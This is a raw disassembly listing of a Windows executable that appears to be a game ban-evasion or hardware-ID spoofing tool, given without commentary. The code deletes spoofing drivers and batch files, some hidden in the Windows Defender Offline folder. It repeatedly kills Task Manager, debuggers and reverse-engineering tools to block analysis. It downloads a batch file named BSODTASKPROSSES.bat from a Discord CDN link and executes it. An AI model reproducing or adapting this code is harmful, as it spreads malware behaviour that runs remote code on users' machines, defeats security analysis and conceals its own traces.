lea rdx, str.C:WindowsSystem32Mobo.exe__SP__random___random___random_
lea rcx, [rsp + 0x3c10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3c10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3c10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF__random___random___random_
lea rcx, [rsp + 0x3c30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3c30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3c30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM__random___random___random_
lea rcx, [rsp + 0x3c50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3c50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3c50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP__random___random___random_
lea rcx, [rsp + 0x3c70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3c70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3c70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT__random___random___random_
lea rcx, [rsp + 0x3c90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3c90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3c90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC__random___random___random_
lea rcx, [rsp + 0x3cb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3cb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3cb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM__random___random___random_
lea rcx, [rsp + 0x3cd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3cd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3cd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT__random___random___random_
lea rcx, [rsp + 0x3cf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3cf0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3cf0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CV_random___random___random_
lea rcx, [rsp + 0x3d10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3d10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3d10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA__random___random___random_
lea rcx, [rsp + 0x3d30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3d30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3d30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO__random___random___random_
lea rcx, [rsp + 0x3d50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3d50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3d50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK__random___random___random_
lea rcx, [rsp + 0x3d70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3d70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3d70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK__random___random___random_
lea rcx, [rsp + 0x3d90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3d90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3d90]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x3db0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3db0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3db0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL__random___random___random_
lea rcx, [rsp + 0x3dd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3dd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3dd0]
call fcn.14005d8e0
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rdx, str.Trials_Successfully_Reset._Enjoy_
lea rcx, [0x1404053e0]
call fcn.1400af0c0
mov qword [rsp + 0x7a0], rax
lea rdx, [0x1400af650]
mov rcx, qword [rsp + 0x7a0]
call fcn.1400abde0
lea rcx, str.C:Program_FilesWindows_DefenderOfflinekdmapper.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflineSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflinediskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflineDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflineDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflineNULLSPOOF.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflinekdmapper.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOffline_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflineNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOffline_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflinedrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOffline_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflinechassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflinecpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOffline_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflinemacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflinec.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflined.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOffline_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflineFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflinecpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOffline_testing.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, Ordinal_50
lea r8, str.ACTIVATING
lea rdx, str.PLEASE_WAIT
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, Ordinal_50
lea r8, str.ACTIVATED
lea rdx, str.Temp_Spoof
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
call fcn.1402b632c
lea rcx, [0x140392bf0]
call fcn.1402b632c
lea rcx, [0x140392c30]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapper.bat.bat
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflineDriverMapper
call fcn.1402b632c
nop
lea rcx, [rsp + 0xdcb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdcd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdcf0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdd10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdd30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdd50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdd70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdd90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xddb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xddf0]
call fcn.14005d8e0
movss xmm1, dword [0x14039cef4]
xorps xmm0, xmm0
call fcn.1400cdb80
movss xmm2, dword [0x14039ce20]
movss xmm1, dword [0x14039ce48]
lea rcx, [rsp + 0x7a8]
call fcn.14005eef0
lea rdx, [rsp + 0x7a8]
lea rcx, str.PERM
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x140082223
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USeacunban.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFIVE_M.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USDISCORDVERSION.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USBATTLENET.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USVALORANT.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodeeepcleanwifisystem.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoeacunban.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIVE_M.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDISCORDVERSION.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoBATTLENET.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoVALORANT.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom2.bat
call fcn.1402b632c
call fcn.14006ba20
call fcn.14006ba70
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xe230]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xe210]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xe210]
call fcn.14005d8d0
mov qword [rsp + 0x7b0], rax
lea rcx, [rsp + 0xe230]
call fcn.14005d8d0
mov qword [rsp + 0x7b8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x7b0]
mov rdx, qword [rsp + 0x7b8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
